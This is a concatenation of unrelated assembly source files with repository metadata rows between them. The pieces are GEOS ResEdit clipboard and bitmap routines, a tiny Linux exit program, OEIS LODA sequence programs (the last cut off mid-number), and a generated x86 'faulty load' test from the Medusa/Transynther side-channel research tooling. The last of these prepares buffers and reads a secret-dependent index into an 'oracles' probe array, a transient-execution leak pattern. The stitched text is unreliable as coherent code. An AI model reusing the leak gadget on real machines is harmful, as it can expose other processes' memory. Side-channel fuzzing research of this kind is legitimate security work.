COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckBitmapSizeCompatible
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the gstring, stripped of its
GR_SET_GSTRING_BOUNDS, matches the expected bitmap
size.
CALLED BY: CheckBitmapCompibility only
PASS: cx:dx - width:height of original bitmap
^hbx - transfer file
di - transfer item block
RETURN: carry - set if sizes different (not compatible)
^hsi - gstring if carry is clear
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Copy gstring to temp gstring, filtering out
GR_SET_GSTRING_BOUNDS.
Compare size of temporary gstring to expected size.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckBitmapSizeCompatible proc near
uses ax,bx,cx,dx,di
origWidth local word push cx
origHeight local word push dx
.enter
; Load the source gstring containing the bitmap.
;
mov_tr si, di ; si <- vmem block handle of string
mov cl, GST_VMEM
call GrLoadGString ; ^hsi = source GString
; Create destination GString in DummyResource
;
GetResourceHandleNS DummyResource, bx
push si ;save source GString handle
mov cl, GST_CHUNK
call GrCreateGString ;^hdi <- new gstring to draw to
pop si
; Filtered-copy source GString to destination GString and check
; if size is okay.
;
mov cx, offset FilterAllButDrawBitmap
call CopyGStringWithFilter ; cx:dx=width:height
push di ; Save source gstring
push dx ; Save height.
clr di
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString ; Done with xfer gstring
pop dx
pop si
cmp cx, ss:[origWidth]
jne error
cmp dx, ss:[origHeight]
jne error
clc ; Paste is legal
done:
.leave
ret
error:
stc
jmp done
CheckBitmapSizeCompatible endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetBitmapFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check that bitmap being pasted is of the same size
as the original.
CALLED BY: PasteBitmap
PASS: *ds:si - document
^hbx - translation file
RETURN: al - BMFormat
cx - width
dx -height
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/14/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetBitmapFormat proc near
uses bx, di
.enter
push ds:[LMBH_handle], si
DerefDoc
push ds:[di].REDI_resourceGroup
mov ax, ds:[di].REDI_curChunk
call DerefElement ; ds:di <- ResArrayElement
mov si, di
pop ax
mov di, ds:[si].RAE_data.RAD_origItem ; ax:di <- orig DBItem
call DBUnlock_DS ; unlock ResourceArray
call DBLock_DS ; lock the OrigItem
mov di, ds:[si] ; es:si <- bitmap
;
; Compare the width, height and format of the original bitmap
; (es:si) and the bitmap to be pasted (ds:di)
;
mov cx, ds:[di].B_width
mov dx, ds:[di].B_height
mov al, ds:[di].B_type
andnf al, mask BMT_FORMAT
call DBUnlock_DS
pop bx, si
call MemDerefDS
.leave
ret
GetBitmapFormat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HugeBitmapToSimpleBitmap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Converts a huge-bitmap (<64k) into a regular bitmap
in an item.
CALLED BY: GLOBAL
PASS: ^vbx:ax = huge bitmap
*ds:si - document
RETURN: ax = bitmap item
DESTROYED: bx,cx,dx,ds,es,si
PSEUDO CODE/STRATEGY:
- find out how big the bitmap is
- allocate an item big enough to hold the bitmap
- copy the data from the huge-bitmap into the item
SIDE EFFECTS:
Don't even think about passing a huge array that's larger
than 64k. It'll just return garbage.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 10/27/92 Initial version
cassie 10/07/93 modified for ResEdit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
HugeBitmapToSimpleBitmap proc near
uses bp, di
hugeBitmap local dword
bitmapItem local word
elemSize local word
.enter
;
; GrCompactBitmap first? Creates another HugeArray which
; has variable sized elements. Then won't know how big an
; item needs to be created. Could use pre-compaction size as
; an upper limit. Write to a buffer, copy buffer to new item
; using amount of data in buffer as size.
;
; Find out how big the huge bitmap is.
;
movdw ss:[hugeBitmap], bxax ; save bitmap
call HugeBitmapGetSizeInBytes; returns in dx:ax, and cx
mov ss:[elemSize], cx ; save element size
tst dx ; larger than 64k?
LONG jnz done ; error, actually
;
; Allocate an item to hold the simple bitmap
;
DerefDoc
mov cx, ax ; cx <- size of bitmap
add cx, size Bitmap ; make room for header
call GetFileHandle ; ^hbx <- translation file
mov ax, ds:[di].REDI_resourceGroup
call DBAlloc ; di <- item
mov ss:[bitmapItem], di
call DBLock
mov di, es:[di]
;
; Set up the loop.
;
push di ; save item offset
add di, size Bitmap ; skip the header
push di ; save bitmap data offset
movdw bxdi, ss:[hugeBitmap]
clrdw dxax ; lock first element
call HugeArrayLock ; ds:si = element
pop di
elemLoop:
;
; Loop through the elements of the huge bitmap, copying the
; data to the chunk.
;
mov bx, si ; save element sptr
mov cx, ss:[elemSize]
rep movsb
mov si, bx ; restore element sptr
call HugeArrayNext ; ds:si = next element
tst ax
jnz elemLoop
call HugeArrayUnlock ; unlock last element
;
; Initialize the header for the simple bitmap by directly
; copying the header from the huge bitmap (the CB_simple part)
; into the header for the simple bitmap.
;
movdw bxdi, ss:[hugeBitmap]
call HugeArrayLockDir
mov ds, ax
lea si, ds:[(size HugeArrayDirectory)].CB_simple
EC< cmp ds:[si].B_compact, BMC_UNCOMPACTED >
EC< ERROR_NE RESEDIT_INTERNAL_LOGIC_ERROR >
mov cx, size Bitmap
pop di ; restore item offset
rep movsb
call HugeArrayUnlockDir
;
; Two of the fields set in a huge bitmap are inappropriate for
; the simple bitmap, so we clear them here.
;
sub di, size Bitmap
andnf es:[di].B_type, not mask BMT_HUGE
andnf es:[di].B_type, not mask BMT_COMPLEX
;
; unlock the item and set up return values
;
call DBUnlock
mov ax, ss:[bitmapItem] ; return ax = new item
done:
.leave
ret
HugeBitmapToSimpleBitmap endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HugeBitmapGetSizeInBytes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the total number of bytes (data only) in the bitmap.
CALLED BY: GLOBAL
PASS: ^vbx:ax = bitmap
RETURN: dx:ax = size of bitmap, in bytes
cx = size per element, in bytes
DESTROYED: nothing
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
Only works for uncompacted bitmaps with fewer than 64k scan lines.
PSEUDO CODE/STRATEGY:
Count the elements, and multiply by the size-per-element.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 10/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
HugeBitmapGetSizeInBytes proc near
uses bx,si,di,ds
.enter
mov di, ax
clrdw dxax
call HugeArrayLock ; returns elem. size in dx
push dx
call HugeArrayUnlock
call HugeArrayGetCount ; dx.ax = #elements
pop dx ; dx <- size per element
mov cx, dx ; cx <- size per element
mul dx ; dx:ax = #bytes
.leave
ret
HugeBitmapGetSizeInBytes endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocAndLockItemAndGetMonikerType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate and lock a new translation item.
Return moniker type of original gstring.
CALLED BY: DocumentClipboardPasteGString
PASS: ^lbx:si - document
cx - size to allocate
RETURN: es:di - new item, locked
al - VisMonikerType
cx - new DBItem
DESTROYED: bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 4/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocAndLockItemAndGetMonikerType proc near
uses dx,ds
.enter
; allocate a new translation item
;
call MemDerefDS
DerefDoc
call GetFileHandle ; ^hbx <- file handle
mov ax, ds:[di].REDI_resourceGroup
mov dx, ds:[di].REDI_origItem
call DBAlloc ; di <- new item
mov cx, di
; get the moniker type from the orig item
;
mov di, dx
call DBLock
mov di, es:[di]
mov dl, es:[di].VM_type
call DBUnlock
; lock the new item
;
mov di, cx
call DBLock
mov di, es:[di] ; es:di <- new item
mov al, dl ; al <- VisMoniker type
.leave
ret
AllocAndLockItemAndGetMonikerType endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetGStringSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the height and width of a gstring or bitmap
CALLED BY: INTERNAL - BuildGStringTransferBlock
PASS: ax:bp - DBItem of gstring
bx - file handle
ds:si - gstring or bitmap
cl - ChunkType
RETURN: cx - width
dx - height
DESTROYED: es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 2/ 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetGStringSize proc near
uses ax, bx, si, di, ds
.enter
push cx ;save the chunk type
mov cl, GST_PTR
mov bx, ds ; bx:si <- gstring data
call GrLoadGString ; ^hsi <- gstring
;
; get the bounds of the drawn gstring
;
clr di ; no gstate
clr dx ; go through entire string
call GrGetGStringBounds
EC < jnc okay >
EC < clr bx >
EC <okay: >
; GrGetGStringBounds returns:
; ax - left side coord of smallest rect enclosing string
; bx - top coord, cx - right coord, dx - bottom coord
;
sub cx, ax ;cx <- width
sub dx, bx ;dx <- height
; destroy the gstring, but leave the data
;
pop ax ; al <- ChunkType
push dx
mov dl, GSKT_LEAVE_DATA ; assume it's a gstring
clr di
call GrDestroyGString
pop dx
.leave
ret
GetGStringSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyGStringToVMChain
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy a gstring to a temporary VMChain in the document file.
CALLED BY: INTERNAL - BuildGStringTransferBlock
PASS: ds:si - data
al - ChunkType
RETURN: ax - block of VMChain containing gstring
DESTROYED: cx, es, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 2/ 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyGStringToVMChain proc near
uses si
.enter
ChunkSizePtr ds, si, cx
test al, mask CT_MONIKER
jz notMoniker
sub cx, MONIKER_GSTRING_OFFSET ;dx <- size of gstring
add si, MONIKER_GSTRING_OFFSET ;ds:si <- gstring
notMoniker:
;
; Load the gstring from the translation file
;
mov cl, GST_PTR
mov bx, ds ;bx:si <- gstring data
call GrLoadGString ;^hsi <- gstring
;
; Create a gstring in the clipboard file
;
push si
call ClipboardGetClipboardFile
mov cl, GST_VMEM
call GrCreateGString ;^hdi <- clipboard gstring
mov bx, si ; dx <- VM block of gstring
pop si ;^hsi <- trans file gstring
;
; Copy the gstring from the translation file to the clipboard file
;
clr dx ; no flags
call GrCopyGString
cmp dx, GSRT_COMPLETE
push bx,si,di
mov si, di ; ^hsi=gstring (source)
clr dx ; GSControl - no flags
clr di ; no gstate
call GrGetGStringBounds ; ax,bx,cx,dx = l,t,r,b bounds
EC < ERROR_C RESEDIT_INTERNAL_ERROR >
mov di, si ; ^hdi=gstring (destination)
call GrSetGStringBounds
pop bx,si,di
call GrEndGString
cmp ax, GSET_NO_ERROR
;
; Destroy both gstrings, leaving data.
;
push di
mov dl, GSKT_LEAVE_DATA
clr di ; no gstate
call GrDestroyGString ; destroy source gstring
pop si
call GrDestroyGString ; destroy destination gstring
mov ax, bx
.leave
ret
CopyGStringToVMChain endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LockCurrentItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock the item, translation or original, for the
current element.
CALLED BY: BuildBitmapTransferBlock, BuildGStringTransferBlock
PASS: *ds:si - document
ds:di - document
RETURN: ds:si - data stored in item
bx - document file handle
DESTROYED: dx,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 4/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LockCurrentItem proc near
uses ax
.enter
call GetFileHandle
mov ax, ds:[di].REDI_resourceGroup
mov dx, ds:[di].REDI_origItem
cmp ds:[di].REDI_curTarget, ST_ORIGINAL
je haveItem
tst ds:[di].REDI_transItem
jz haveItem
mov dx, ds:[di].REDI_transItem
haveItem:
; now lock the item
;
mov di, dx
mov bp, di ;ax:bp <- DBItem
call DBLock_DS
mov si, ds:[si]
.leave
ret
LockCurrentItem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendToTargetText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends a message on to the target text object.
CALLED BY: INTERNAL
PASS: *ds:si - document
ds:di - document
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendToTargetText proc near
uses bx, si, di
.enter
movdw bxsi, ds:[di].REDI_editText
cmp ds:[di].REDI_curTarget, ST_TRANSLATION
je sendIt
mov si, offset OrigText
sendIt:
clr di
call ObjMessage
.leave
ret
SendToTargetText endp
DocumentClipboardSegment ends
| 25.472007
| 79
| 0.617536
|
5c7d32fadaf9d8c728bf70052311cad35c4e8ea9
| 200
|
asm
|
Assembly
|
01_as_vs_nasm/01_as_basic_structure.asm
|
ericens/assembly_language
|
71cb70c6712990b409779bd3e57a3cc2cf143a9d
|
[
"Apache-2.0"
] | 3
|
2021-04-19T16:31:05.000Z
|
2021-11-14T01:56:39.000Z
|
01_as_vs_nasm/01_as_basic_structure.asm
|
ericens/assembly_language
|
71cb70c6712990b409779bd3e57a3cc2cf143a9d
|
[
"Apache-2.0"
] | null | null | null |
01_as_vs_nasm/01_as_basic_structure.asm
|
ericens/assembly_language
|
71cb70c6712990b409779bd3e57a3cc2cf143a9d
|
[
"Apache-2.0"
] | 5
|
2021-04-19T16:31:56.000Z
|
2022-03-09T09:50:18.000Z
|
# Text segment begins
.section .text
.globl _start
# Program entry point
_start:
# Put the code number for system call
movl $1, %eax
/* Return value */
movl $2, %ebx
# Call the OS
int $0x80
| 16.666667
| 38
| 0.67
|
66f3460ec1cda02659499c553df93ffe26ed6179
| 445
|
asm
|
Assembly
|
programs/oeis/037/A037655.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/037/A037655.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/037/A037655.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A037655: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 3,0,2.
; 3,18,110,663,3978,23870,143223,859338,5156030,30936183,185617098,1113702590,6682215543,40093293258,240559759550,1443358557303,8660151343818,51960908062910,311765448377463,1870592690264778
cal $0,33142 ; Base-6 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,0.
mul $0,55
div $0,18
mov $1,$0
| 55.625
| 189
| 0.793258
|
ae39d6e7601f05380a2956690973310e97c19ed0
| 6,757
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_48.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_48.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_48.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x117e5, %rsi
lea addresses_normal_ht+0x1d9cd, %rdi
nop
nop
nop
sub %r8, %r8
mov $93, %rcx
rep movsw
nop
nop
nop
add $59200, %rax
lea addresses_A_ht+0xe02d, %rbx
nop
nop
nop
add %r11, %r11
mov (%rbx), %ecx
nop
nop
nop
nop
cmp $36874, %rbx
lea addresses_WC_ht+0x1ba8d, %rsi
nop
sub %rcx, %rcx
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
sub $7578, %rcx
lea addresses_A_ht+0x7fcd, %rcx
add $58332, %r8
movb $0x61, (%rcx)
inc %r8
lea addresses_D_ht+0x5ea5, %rax
nop
nop
nop
nop
xor %r11, %r11
vmovups (%rax), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbx
nop
cmp %rax, %rax
lea addresses_D_ht+0x765, %rax
nop
nop
nop
nop
xor %rsi, %rsi
mov (%rax), %ebx
nop
add %rcx, %rcx
lea addresses_WT_ht+0x47e5, %r11
nop
nop
add $33355, %rsi
and $0xffffffffffffffc0, %r11
movntdqa (%r11), %xmm1
vpextrq $0, %xmm1, %rcx
nop
xor %rsi, %rsi
lea addresses_WT_ht+0xfaa5, %rsi
lea addresses_normal_ht+0x117e5, %rdi
cmp %r8, %r8
mov $82, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $44422, %rbx
lea addresses_A_ht+0x1224b, %rdi
nop
nop
nop
cmp %rax, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm3, (%rdi)
nop
dec %rax
lea addresses_D_ht+0x14be5, %rsi
lea addresses_WT_ht+0x11275, %rdi
xor $48675, %rbp
mov $8, %rcx
rep movsb
nop
nop
and $62107, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdx
// Store
lea addresses_RW+0x148a5, %rdx
nop
add $62663, %rbp
movw $0x5152, (%rdx)
nop
nop
nop
inc %r14
// Faulty Load
lea addresses_RW+0x11fe5, %rcx
nop
nop
nop
nop
nop
xor %rax, %rax
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %rbp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 32, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 37.331492
| 2,999
| 0.657688
|
605a787f149cb1b80724e69de067b61a30bea5f7
| 2,077
|
asm
|
Assembly
|
programs/oeis/086/A086950.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/086/A086950.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/086/A086950.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A086950: Binomial transform of decagonal numbers A001107.
; 0,1,12,60,224,720,2112,5824,15360,39168,97280,236544,565248,1331200,3096576,7127040,16252928,36765696,82575360,184287232,408944640,902823936,1983905792,4341104640,9462349824,20552089600,44493176832,96032784384,206695301120,443723808768,950261514240,2030445789184,4329327034368,9212704849920,19567871000576,41489384079360,87823491268608,185611306663936,391701017395200,825458354552832,1737228371886080,3651478115844096,7665795068854272,16074859998085120,33671444089012224,70456705107886080,147281781563850752,307581780800569344,641762946900295680,1337850564305747968,2786602269435494400,5799510420146356224,12060639802098188288,25062531926316810240,52043597293893451776,107996319064344494080,223955002269880025088,464122963198293835776,961248304465958666240,1989654286575266168832,4115929771446443704320,8509713625503137529856,17584358788263630077952,36317027395115679744000,74967567915555617767424,154675949058054590300160,318981098522585566543872,657515745763303257800704,1354728884773229470679040,2790033147660422262816768,5743578234790205991157760,11818902715002004558577664,24310742653812933560107008,49986249221175194586972160,102739805201312001269170176,211089781784273141052211200,433551022059296387779002368,890147192554996644200841216,1826989144892608340274708480,3748576735170061413470175232,7688768212749041551131279360,15765601613594379067343241216,32317005009938267098245496832,66224956398489386190404321280,135670491180432144502225895424,277859510380226369514467491840,568910819304087572583328776192,1164514720705266157344169918464,2383034575624357029180814131200,4875317359715648867621475975168,99